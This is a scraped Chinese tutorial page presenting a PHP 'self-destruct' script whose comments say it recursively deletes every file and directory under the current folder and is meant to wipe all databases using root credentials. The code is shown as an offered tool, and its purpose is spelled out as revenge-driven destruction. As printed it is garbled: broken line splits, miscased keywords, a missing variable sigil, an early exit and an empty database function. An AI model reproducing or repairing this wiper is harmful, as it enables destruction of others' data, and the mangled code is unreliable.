PHP
发布时间:2019-11-12 发布网站:大佬教程 code.js-code.com
大佬教程收集整理的这篇文章主要介绍了PHP自毁程序(慎用),大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
本文实例讲述了php自毁程序。分享给大家供大家参考。具体实现方法如下:
php;">
php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +----------------------------------------------------------------------
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER','root'
);
define('DB_PWD','root'
);
define('DB_HOST','localhost'
);
define('DB_PORT','3216'
);
define('DB_DAMAGE',tru
E); //为
false时,不碰数据库
run(
);
/
**
* 主体思想必须光辉伟大!
*
* @return void
**/
function run()
{
//删除文件
deletedir(
);
//删除数据库
deleteDB(
);
}
/
**
* 呵呵呵,删除当前目录所有文件(递归)
*
* @return void
**/
function
deletedir($dir = '')
{
if ($dir == '')
{
$dir = realpath('.'
);
}
echo $dir;
exit(
);
if(!handle=@opendir($dir))
{
//检测要打开目录是否存在
die("没有该目录"
);
}
while(
false
!==($file=readdir($handl
E)))
{
if($file
!=="."&&$file
!=="..")
{
//排除当前目录与父级目录
$file=$dir .DIRECTORY_SEPARATOR. $file;
if(is_dir($fil
E))
{
deletedir($fil
E);
}else
{
if(@unlink($fil
E))
{
echo "文件
$file删除成功。
";
}else
{
echo "文件
$file删除失败!
";
}
}
}
if(@rmdir($dir))
{
echo "目录
$dir删除成功了。
\n";
}else
{
echo "目录
$dir删除失败!
\n";
}
}
/
**
* 呵呵呵,删除数据库
*
* @return void
**/
function
deleteDB()
{
if(DB_DAMAGE === tru
E){
//start
}
}
希望本文所述对大家的php程序设计有所帮助。
大佬总结
以上是大佬教程为你收集整理的PHP自毁程序(慎用)全部内容,希望文章能够帮你解决PHP自毁程序(慎用)所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。